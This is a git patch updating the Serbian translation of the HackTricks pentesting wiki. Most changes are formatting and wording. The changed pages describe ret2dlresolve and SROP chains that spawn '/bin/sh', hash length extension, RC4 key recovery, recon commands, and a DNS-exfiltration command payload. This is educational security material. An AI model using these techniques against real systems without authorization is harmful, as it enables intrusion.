From 191df0908ca413d6da717e2a274ef2854d073c82 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 18:08:27 +0000 Subject: [PATCH] Translated ['src/README.md', 'src/binary-exploitation/rop-return-oriente --- hacktricks-preprocessor.py | 7 + src/README.md | 45 +++--- .../ret2dlresolve.md | 10 +- .../README.md | 12 +- src/burp-suite.md | 6 +- src/crypto-and-stego/esoteric-languages.md | 6 +- .../hash-length-extension-attack.md | 16 +- .../rc4-encrypt-and-decrypt.md | 12 +- .../hash-length-extension-attack.md | 8 +- src/cryptography/rc4-encrypt-and-decrypt.md | 10 +- .../external-recon-methodology/README.md | 113 ++++++------- .../privilege-escalation/README.md | 142 +++++++++-------- .../docker-security/README.md | 42 ++--- .../interesting-groups-linux-pe/README.md | 34 ++-- .../interesting-groups-linux-pe.md | 22 +-- src/misc/references.md | 92 ++++++++--- .../5439-pentesting-redshift.md | 4 +- src/network-services-pentesting/9100-pjl.md | 6 +- .../9200-pentesting-elasticsearch.md | 15 +- .../pentesting-compaq-hp-insight-manager.md | 4 +- .../pentesting-kerberos-88/README.md | 4 +- .../pentesting-ssh.md | 70 ++++---- .../pentesting-web/buckets/README.md | 4 +- .../buckets/firebase-database.md | 4 +- ...solation-rce-via-electron-internal-code.md | 6 +- .../pentesting-web/flask.md | 10 +- .../pentesting-web/graphql.md | 72 ++++----- .../pentesting-web/uncovering-cloudflare.md | 16 +- .../pentesting-web/werkzeug.md | 24 +-- .../pentesting-web/wordpress.md | 24 +-- src/other-web-tricks.md | 19 ++- src/pentesting-web/captcha-bypass.md | 16 +- .../client-side-template-injection-csti.md | 9 +- src/pentesting-web/command-injection.md | 13 +- src/pentesting-web/crlf-0d-0a.md | 34 ++-- .../README.md | 18 ++- .../README.md | 42 ++--- src/pentesting-web/file-inclusion/README.md | 74 +++++---- .../file-inclusion/phar-deserialization.md | 12 +- src/pentesting-web/file-upload/README.md | 100 ++++++------ .../hacking-jwt-json-web-tokens.md | 63 ++++---- src/pentesting-web/ldap-injection.md | 10 +- .../oauth-to-account-takeover.md | 54 +++---- ...inclusion-edge-side-inclusion-injection.md | 26 +-- src/pentesting-web/sql-injection/README.md | 62 ++++---- .../rce-with-postgresql-extensions.md | 10 +- .../README.md | 22 +-- .../url-format-bypass.md | 10 +- .../README.md | 61 ++++--- .../unicode-normalization.md | 16 +- ...ble-stylesheet-language-transformations.md | 8 +- .../xss-cross-site-scripting/README.md | 84 +++++----- .../xxe-xee-xml-external-entity.md | 80 +++++----- .../stack-overflow/ret2dlresolve.md | 12 +- .../srop-sigreturn-oriented-programming.md | 10 +- .../reversing-tools-basic-methods/README.md | 48 +++--- src/robots.txt | 4 + src/stego/esoteric-languages.md | 4 +- src/todo/burp-suite.md | 4 +- src/todo/other-web-tricks.md | 10 +- src/todo/references.md | 92 ++++++++--- .../active-directory-methodology/README.md | 138 ++++++++-------- .../printers-spooler-service-abuse.md | 18 ++- .../authentication-credentials-uac-and-efs.md | 26 +-- .../README.md | 68 ++++---- src/windows-hardening/av-bypass.md | 69 ++++---- .../README.md | 150 +++++++++--------- .../juicypotato.md | 11 +- theme/css/chrome.css | 19 ++- theme/css/variables.css | 6 +- theme/index.hbs | 7 +- theme/pagetoc.css | 2 +- theme/pagetoc.js | 96 ++++++----- 73 files changed, 1368 insertions(+), 1109 deletions(-) create mode 100644 src/robots.txt diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index fedfdef99..b3186537d 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -69,6 +69,12 @@ def ref(matchobj): return result +def add_read_time(content): + regex = r'(<\/style>\n# .*(?=\n))' + new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content) + return new_content + + def iterate_chapters(sections): if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section return @@ -99,6 +105,7 @@ if __name__ == '__main__': current_chapter = chapter regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}' new_content = re.sub(regex, ref, chapter['content']) + new_content = add_read_time(new_content) chapter['content'] = new_content content = json.dumps(book) diff --git a/src/README.md b/src/README.md index 7b8f36680..2f2a89355 100644 --- a/src/README.md +++ b/src/README.md @@ -1,13 +1,10 @@ # HackTricks -Reading time: {{ #reading_time }} -
_Hacktricks logotipi i animacija dizajnirani od_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ -> [!TIP] -> **Dobrodošli u wiki gde ćete pronaći svaku hakersku trik/tehniku/šta god da sam naučio iz CTF-ova, aplikacija iz stvarnog života, čitajući istraživanja i vesti.** +> [!TIP] > **Dobrodošli u wiki gde ćete pronaći svaku hakersku trik/tehniku/šta god da sam naučio iz CTF-ova, aplikacija iz stvarnog života, čitajući istraživanja i vesti.** Da biste započeli, pratite ovu stranicu gde ćete pronaći **tipičan tok** koji **treba da pratite kada radite pentesting** na jednoj ili više **mašina:** @@ -35,7 +32,9 @@ Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blo [**RootedCON**](https://www.rootedcon.com) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini. -{% embed url="https://www.rootedcon.com/" %} +{{#ref}} +https://www.rootedcon.com/ +{{#endref}} --- @@ -43,11 +42,13 @@ Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blo
-**Intigriti** je **Evropa #1** etička platforma za hakovanje i **bug bounty.** +**Intigriti** je **broj 1** etička platforma za hakovanje i **bug bounty.** **Bug bounty savet**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} +{{#ref}} +https://go.intigriti.com/hacktricks +{{#endref}} --- @@ -60,7 +61,9 @@ Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium Pribavite pristup danas: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{{#ref}} +https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks +{{#endref}} --- @@ -72,7 +75,7 @@ Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) - **Hakerski uvidi:** Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hakovanja - **Vesti o hakovanju u realnom vremenu:** Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu -- **Najnovija obaveštenja:** Budite informisani o najnovijim nagradama za bugove i važnim ažuriranjima platforme +- **Najnovija obaveštenja:** Budite informisani o najnovijim bug bounty nagradama i važnim ažuriranjima platforme **Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas! @@ -82,11 +85,13 @@ Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
-**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu** +**Dobijte perspektivu hakera na vaše web aplikacije, mrežu i oblak** -**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje. +**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje bitnih dokaza, pretvarajući vaš trud u uverljive izveštaje. -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} +{{#ref}} +https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons +{{#endref}} --- @@ -96,8 +101,8 @@ Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) **SerpApi** nudi brze i lake API-je u realnom vremenu za **pristup rezultatima pretraživača**. Oni sakupljaju podatke sa pretraživača, upravljaju proxy-ima, rešavaju captcha izazove i analiziraju sve bogate strukturirane podatke za vas. -Pretplata na jedan od planova SerpApi uključuje pristup više od 50 različitih API-ja za sakupljanje podataka sa različitih pretraživača, uključujući Google, Bing, Baidu, Yahoo, Yandex i druge.\ -Za razliku od drugih provajdera, **SerpApi ne sakuplja samo organske rezultate**. Odgovori SerpApi dosledno uključuju sve oglase, inline slike i video zapise, znanje grafove i druge elemente i funkcije prisutne u rezultatima pretrage. +Pretplata na jedan od SerpApi planova uključuje pristup više od 50 različitih API-ja za sakupljanje podataka sa različitih pretraživača, uključujući Google, Bing, Baidu, Yahoo, Yandex i druge.\ +Za razliku od drugih provajdera, **SerpApi ne sakuplja samo organske rezultate**. SerpApi odgovori dosledno uključuju sve oglase, inline slike i video zapise, znanje grafove i druge elemente i funkcije prisutne u rezultatima pretrage. Trenutni klijenti SerpApi uključuju **Apple, Shopify i GrubHub**.\ Za više informacija pogledajte njihov [**blog**](https://serpapi.com/blog/)**,** ili isprobajte primer u njihovom [**playground**](https://serpapi.com/playground)**.**\ @@ -111,7 +116,9 @@ Možete **napraviti besplatan nalog** [**ovde**](https://serpapi.com/users/sign_ Naučite tehnologije i veštine potrebne za izvođenje istraživanja ranjivosti, penetracionog testiranja i obrnute inženjeringa kako biste zaštitili mobilne aplikacije i uređaje. **Savladajte iOS i Android bezbednost** kroz naše kurseve na zahtev i **dobijte sertifikat**: -{% embed url="https://academy.8ksec.io/" %} +{{#ref}} +https://academy.8ksec.io/ +{{#endref}} --- @@ -119,15 +126,17 @@ Naučite tehnologije i veštine potrebne za izvođenje istraživanja ranjivosti,
-[**WebSec**](https://websec.nl) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže **zaštiti** preduzeća **široko u svetu** od najnovijih pretnji u oblasti sajber bezbednosti pružajući **usluge ofanzivne bezbednosti** sa **modernim** pristupom. +[**WebSec**](https://websec.nl) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže **zaštiti** preduzeća **široko po svetu** od najnovijih pretnji u oblasti sajber bezbednosti pružajući **usluge ofanzivne bezbednosti** sa **modernim** pristupom. WebSec je **sve-u-jednom bezbednosna kompanija** što znači da rade sve; Pentesting, **Bezbednosne** revizije, Obuke o svesti, Phishing kampanje, Revizije koda, Razvoj eksploata, Outsourcing bezbednosnih stručnjaka i još mnogo toga. -Još jedna zanimljiva stvar o WebSec-u je da, za razliku od industrijskog proseka, WebSec je **veoma siguran u svoje veštine**, do te mere da **garantuje najbolje kvalitetne rezultate**, kako stoji na njihovoj veb stranici "**Ako ne možemo da hakujemo, ne plaćate!**". Za više informacija pogledajte njihovu [**vеб страницу**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)! +Još jedna zanimljiva stvar o WebSec-u je da, za razliku od industrijskog proseka, WebSec je **veoma samouveren u svoje veštine**, do te mere da **garantuje najbolje kvalitetne rezultate**, kako stoji na njihovom sajtu "**Ako ne možemo da hakujemo, ne plaćate!**". Za više informacija pogledajte njihov [**sajt**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)! Pored navedenog, WebSec je takođe **posvećen podržavalac HackTricks.** -{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} +{{#ref}} +https://www.youtube.com/watch?v=Zq2JycGDCPM +{{#endref}} ## License & Disclaimer diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index 10b33d439..7b92afcc6 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -10,14 +10,16 @@ Funkcija **`_dl_runtime_resolve`** uzima sa steka reference na neke strukture ko Stoga, moguće je **falsifikovati sve te strukture** kako bi dinamički povezano rešavanje traženog simbola (kao što je funkcija **`system`**) i pozvati je sa konfigurisanom parametrima (npr. **`system('/bin/sh')`**). -Obično, sve te strukture se falsifikuju pravljenjem **inicijalnog ROP lanca koji poziva `read`** preko zapisive memorije, zatim se **strukture** i string **`'/bin/sh'`** prosleđuju tako da ih `read` sačuva na poznatoj lokaciji, a zatim ROP lanac nastavlja pozivajući **`_dl_runtime_resolve`**, imajući da **reši adresu `system`** u falsifikovanim strukturama i **poziva ovu adresu** sa adresom do `$'/bin/sh'`. +Obično, sve te strukture se falsifikuju pravljenjem **inicijalnog ROP lanca koji poziva `read`** preko zapisive memorije, zatim se **strukture** i string **`'/bin/sh'`** prosleđuju tako da ih `read` sačuva na poznatoj lokaciji, a zatim ROP lanac nastavlja pozivajući **`_dl_runtime_resolve`**, imajući ga da **reši adresu `system`** u falsifikovanim strukturama i **poziva ovu adresu** sa adresom do `$'/bin/sh'`. > [!TIP] > Ova tehnika je posebno korisna ako ne postoje syscall gadgeti (da se koriste tehnike kao što su [**ret2syscall**](rop-syscall-execv/) ili [SROP](srop-sigreturn-oriented-programming/)) i nema načina da se procure libc adrese. Pogledajte ovaj video za lepo objašnjenje o ovoj tehnici u drugoj polovini videa: -{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} +{{#ref}} +https://youtu.be/ADULSwnQs-s?feature=shared +{{#endref}} Ili pogledajte ove stranice za objašnjenje korak po korak: @@ -30,7 +32,7 @@ Ili pogledajte ove stranice za objašnjenje korak po korak: 2. Postaviti prvi argument funkcije system (`$rdi = &'/bin/sh'`) 3. Postaviti na stek adrese do struktura da pozove **`_dl_runtime_resolve`** 4. **Pozvati** `_dl_runtime_resolve` -5. **`system`** će biti rešen i pozvan sa `'/bin/sh'` kao argumentom +5. **`system`** će biti rešena i pozvana sa `'/bin/sh'` kao argumentom Iz [**pwntools dokumentacije**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), ovako izgleda **`ret2dlresolve`** napad: ```python @@ -186,6 +188,6 @@ target.interactive() - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) -- 32bit, bez relro, bez kanarinca, nx, bez pie, osnovni mali buffer overflow i povratak. Da bi se iskoristilo, bof se koristi da ponovo pozove `read` sa `.bss` sekcijom i većom veličinom, da bi se u nju smeštale `dlresolve` lažne tabele za učitavanje `system`, vraćanje na main i ponovna zloupotreba inicijalnog bof-a da pozove dlresolve i zatim `system('/bin/sh')`. +- 32bit, bez relro, bez kanarija, nx, bez pie, osnovni mali buffer overflow i povratak. Da bi se iskoristilo, bof se koristi da ponovo pozove `read` sa `.bss` sekcijom i većom veličinom, da bi se u nju smeštale `dlresolve` lažne tabele za učitavanje `system`, vraćanje na main i ponovna zloupotreba inicijalnog bof-a da pozove dlresolve i zatim `system('/bin/sh')`. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index cac686061..5cb763cb3 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -57,11 +57,13 @@ Ako vas zanima, ovo je **sigcontext struktura** koja se čuva na steku da bi se ``` Za bolje objašnjenje pogledajte takođe: -{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} +{{#ref}} +https://youtu.be/ADULSwnQs-s?feature=shared +{{#endref}} ## Primer -Možete [**pronaći primer ovde**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) gde se poziv na signeturn konstruira putem ROP (stavljajući u rxa vrednost `0xf`), iako je ovo konačni exploit odatle: +Možete [**pronaći primer ovde**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) gde je poziv na signeturn konstruisan putem ROP (stavljajući u rxa vrednost `0xf`), iako je ovo konačni exploit odatle: ```python from pwn import * @@ -130,10 +132,10 @@ target.interactive() - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) - Assembly binarni program koji omogućava **pisanje na stek** i zatim poziva **`sigreturn`** syscall. Moguće je napisati na stek [**ret2syscall**](../rop-syscall-execv/) putem **sigreturn** strukture (binarni program sadrži string `/bin/sh`). - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) -- 64 bita, bez relro, bez kanarija, nx, bez pie. Jednostavna buffer overflow napada koristeći `gets` funkciju sa nedostatkom gadgeta koji izvršava [**ret2syscall**](../rop-syscall-execv/). ROP lanac piše `/bin/sh` u `.bss` ponovnim pozivanjem gets, zloupotrebljava **`alarm`** funkciju da postavi eax na `0xf` kako bi pozvao **SROP** i izvršio shell. +- 64 bita, bez relro, bez kanarinca, nx, bez pie. Jednostavna buffer overflow napada koristeći `gets` funkciju sa nedostatkom gadgeta koji izvršava [**ret2syscall**](../rop-syscall-execv/). ROP lanac piše `/bin/sh` u `.bss` ponovnim pozivanjem gets, zloupotrebljava **`alarm`** funkciju da postavi eax na `0xf` kako bi pozvao **SROP** i izvršio shell. - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) -- 64 bita assembly program, bez relro, bez kanarija, nx, bez pie. Tok omogućava pisanje na stek, kontrolu nekoliko registara, i pozivanje syscall-a, a zatim poziva `exit`. Izabrani syscall je `sigreturn` koji će postaviti registre i premestiti `eip` da pozove prethodnu syscall instrukciju i izvrši `memprotect` da postavi binarni prostor na `rwx` i postavi ESP u binarnom prostoru. Prateći tok, program će ponovo pozvati read u ESP, ali u ovom slučaju ESP će pokazivati na sledeću instrukciju, tako da će prosleđivanje shellcode-a napisati kao sledeću instrukciju i izvršiti je. +- 64 bita assembly program, bez relro, bez kanarinca, nx, bez pie. Tok omogućava pisanje na stek, kontrolu nekoliko registara, i pozivanje syscall-a, a zatim poziva `exit`. Izabrani syscall je `sigreturn` koji će postaviti registre i pomeriti `eip` da pozove prethodnu syscall instrukciju i izvrši `memprotect` da postavi binarni prostor na `rwx` i postavi ESP u binarnom prostoru. Prateći tok, program će ponovo pozvati read u ESP, ali u ovom slučaju ESP će pokazivati na sledeću instrukciju, tako da će prosleđivanje shellcode-a napisati kao sledeću instrukciju i izvršiti je. - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) -- SROP se koristi za davanje privilegija izvršenja (memprotect) mestu gde je shellcode postavljen. +- SROP se koristi za davanje privilegija izvršavanja (memprotect) mestu gde je shellcode postavljen. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/burp-suite.md b/src/burp-suite.md index 31ef832f0..4ca752e62 100644 --- a/src/burp-suite.md +++ b/src/burp-suite.md @@ -4,13 +4,15 @@ - **Jednostavna lista:** Samo lista koja sadrži jedan unos u svakoj liniji - **Runtime fajl:** Lista koja se čita u runtime-u (nije učitana u memoriju). Za podršku velikim listama. -- **Izmena slučaja:** Primeni neke promene na listu stringova (Bez promene, na mala slova, na VELIKA slova, na pravilno ime - Prvo veliko slovo i ostalo na mala slova, na Pravilno ime - Prvo veliko slovo, a ostalo ostaje isto). +- **Izmena slučaja:** Primeni neke promene na listu stringova (Bez promene, na mala slova, na VELIKA slova, na pravilno ime - Prvo veliko slovo, a ostalo na mala slova-, na Pravilno ime - Prvo veliko slovo, a ostalo ostaje isto-). - **Brojevi:** Generiši brojeve od X do Y koristeći Z korak ili nasumično. - **Brute Forcer:** Skup karaktera, minimalna i maksimalna dužina. [https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload za izvršavanje komandi i preuzimanje izlaza putem DNS zahteva ka burpcollab. -{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %} +{{#ref}} +https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e +{{#endref}} [https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator) diff --git a/src/crypto-and-stego/esoteric-languages.md b/src/crypto-and-stego/esoteric-languages.md index 8051496e7..95888f4eb 100644 --- a/src/crypto-and-stego/esoteric-languages.md +++ b/src/crypto-and-stego/esoteric-languages.md @@ -4,7 +4,7 @@ ## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page) -Proverite tu viki da biste pronašli više esoteričnih jezika +Proverite tu wiki da biste pronašli više esoteričnih jezika ## Malbolge ``` @@ -48,7 +48,9 @@ Take it to the top Whisper my world ``` -{% embed url="https://codewithrockstar.com/" %} +{{#ref}} +https://codewithrockstar.com/ +{{#endref}} ## PETOOH ``` diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md index 5bb47557d..61a0604a7 100644 --- a/src/crypto-and-stego/hash-length-extension-attack.md +++ b/src/crypto-and-stego/hash-length-extension-attack.md @@ -4,20 +4,20 @@ ## Sažetak napada -Zamislite server koji **potpisuje** neke **podatke** tako što **dodaje** **tajnu** nekim poznatim čistim tekstualnim podacima i zatim hešira te podatke. Ako znate: +Zamislite server koji **potpisuje** neke **podatke** tako što **dodaje** **tajnu** na neke poznate podatke u čistom tekstu i zatim hešira te podatke. Ako znate: -- **Dužinu tajne** (to se može takođe bruteforcovati iz datog opsega dužine) -- **Čiste tekstualne podatke** -- **Algoritam (i da je podložan ovom napadu)** +- **Dužinu tajne** (to se može takođe bruteforce-ovati iz datog opsega dužine) +- **Podatke u čistom tekstu** +- **Algoritam (i da je ranjiv na ovaj napad)** - **Padding je poznat** -- Obično se koristi podrazumevani, tako da ako su ispunjena druga 3 zahteva, ovo takođe važi +- Obično se koristi podrazumevani, tako da ako su ispunjena druga 3 zahteva, ovo takođe jeste - Padding varira u zavisnosti od dužine tajne + podataka, zato je dužina tajne potrebna Tada je moguće da **napadač** **doda** **podatke** i **generiše** važeći **potpis** za **prethodne podatke + dodate podatke**. ### Kako? -U suštini, ranjivi algoritmi generišu heš tako što prvo **heširaju blok podataka**, a zatim, **iz** **prethodno** kreiranog **heša** (stanja), **dodaju sledeći blok podataka** i **heširaju ga**. +U suštini, ranjivi algoritmi generišu heševe tako što prvo **heširaju blok podataka**, a zatim, **iz** **prethodno** kreiranog **heša** (stanja), **dodaju sledeći blok podataka** i **heširaju ga**. Zamislite da je tajna "secret" a podaci su "data", MD5 od "secretdata" je 6036708eba0d11f6ef52ad44e8b74d5b.\ Ako napadač želi da doda string "append" može: @@ -29,7 +29,9 @@ Ako napadač želi da doda string "append" može: ### **Alat** -{% embed url="https://github.com/iagox86/hash_extender" %} +{{#ref}} +https://github.com/iagox86/hash_extender +{{#endref}} ### Reference diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md index df4c6bf33..381d3d404 100644 --- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md +++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md @@ -1,11 +1,15 @@ {{#include ../banners/hacktricks-training.md}} -Ako možete na neki način enkriptovati običan tekst koristeći RC4, možete dekriptovati bilo koji sadržaj enkriptovan tim RC4 (koristeći istu lozinku) samo koristeći funkciju enkripcije. +Ako na neki način možete enkriptovati običan tekst koristeći RC4, možete dekriptovati bilo koji sadržaj enkriptovan tim RC4 (koristeći istu lozinku) samo koristeći funkciju enkripcije. -Ako možete enkriptovati poznati običan tekst, možete takođe izvući lozinku. Više referenci možete pronaći na HTB Kryptos mašini: +Ako možete enkriptovati poznati običan tekst, takođe možete izvući lozinku. Više referenci možete pronaći na HTB Kryptos mašini: -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md index 9bf823311..72a883048 100644 --- a/src/cryptography/hash-length-extension-attack.md +++ b/src/cryptography/hash-length-extension-attack.md @@ -8,8 +8,8 @@ Zamislite server koji **potpisuje** neke **podatke** tako što **dodaje** **tajn - **Čiste tekstualne podatke** - **Algoritam (i da je ranjiv na ovaj napad)** - **Padding je poznat** -- Obično se koristi podrazumevani, tako da ako su ispunjena druga 3 zahteva, ovo takođe važi -- Padding varira u zavisnosti od dužine tajne + podataka, zato je potrebna dužina tajne +- Obično se koristi podrazumevani, tako da ako su ispunjena ostala 3 zahteva, ovo takođe važi +- Padding varira u zavisnosti od dužine tajne + podataka, zato je dužina tajne potrebna Tada je moguće da **napadač** **doda** **podatke** i **generiše** važeći **potpis** za **prethodne podatke + dodate podatke**. @@ -27,7 +27,9 @@ Ako napadač želi da doda string "append" može: ## **Alat** -{% embed url="https://github.com/iagox86/hash_extender" %} +{{#ref}} +https://github.com/iagox86/hash_extender +{{#endref}} ## Reference diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md index 0e0a77711..381d3d404 100644 --- a/src/cryptography/rc4-encrypt-and-decrypt.md +++ b/src/cryptography/rc4-encrypt-and-decrypt.md @@ -1,11 +1,15 @@ {{#include ../banners/hacktricks-training.md}} -Ako možete na neki način enkriptovati običan tekst koristeći RC4, možete dekriptovati bilo koji sadržaj enkriptovan tim RC4 (koristeći istu lozinku) samo koristeći funkciju enkripcije. +Ako na neki način možete enkriptovati običan tekst koristeći RC4, možete dekriptovati bilo koji sadržaj enkriptovan tim RC4 (koristeći istu lozinku) samo koristeći funkciju enkripcije. Ako možete enkriptovati poznati običan tekst, takođe možete izvući lozinku. Više referenci možete pronaći na HTB Kryptos mašini: -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index d73f6fddd..ad6f095c9 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -1,16 +1,15 @@ -# Metodologija spoljnog rekonaissansa +# Metodologija spoljnog rekona {{#include ../../banners/hacktricks-training.md}} - ## Otkrića imovine > Tako su vam rekli da je sve što pripada nekoj kompaniji unutar opsega, i želite da saznate šta ta kompanija zapravo poseduje. Cilj ove faze je da se dobiju sve **kompanije koje poseduje glavna kompanija** i zatim sve **imovine** tih kompanija. Da bismo to postigli, uradićemo sledeće: -1. Pronaći akvizicije glavne kompanije, što će nam dati kompanije unutar opsega. -2. Pronaći ASN (ako postoji) svake kompanije, što će nam dati IP opsege koje poseduje svaka kompanija. +1. Pronaći akvizicije glavne kompanije, to će nam dati kompanije unutar opsega. +2. Pronaći ASN (ako postoji) svake kompanije, to će nam dati IP opsege koje poseduje svaka kompanija. 3. Koristiti obrnute whois pretrage da tražimo druge unose (imena organizacija, domene...) povezane sa prvim (ovo se može raditi rekurzivno). 4. Koristiti druge tehnike kao što su shodan `org` i `ssl` filteri da tražimo druge imovine (trik sa `ssl` se može raditi rekurzivno). @@ -67,11 +66,11 @@ Takođe, možete pokrenuti neke [**port skenove**](../pentesting-network/#discov _Molimo vas, imajte na umu da u sledećim predloženim tehnikama možete takođe pronaći poddomene i da te informacije ne bi trebale biti potcenjene._ -Prvo, trebali biste potražiti **glavnu domenu**(e) svake kompanije. Na primer, za _Tesla Inc._ to će biti _tesla.com_. +Prvo što treba da uradite je da potražite **glavnu domenu**(e) svake kompanije. Na primer, za _Tesla Inc._ to će biti _tesla.com_. ### **Obrnuti DNS** -Pošto ste pronašli sve IP opsege domena, mogli biste pokušati da izvršite **obrnute dns pretrage** na tim **IP-ovima kako biste pronašli više domena unutar opsega**. Pokušajte da koristite neki DNS server žrtve ili neki poznati DNS server (1.1.1.1, 8.8.8.8) +Pošto ste pronašli sve IP opsege domena, možete pokušati da izvršite **obrnute dns upite** na tim **IP-ovima da pronađete više domena unutar opsega**. Pokušajte da koristite neki DNS server žrtve ili neki poznati DNS server (1.1.1.1, 8.8.8.8) ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -170,9 +169,9 @@ Očigledno je uobičajeno da ljudi dodeljuju poddomene IP-ovima 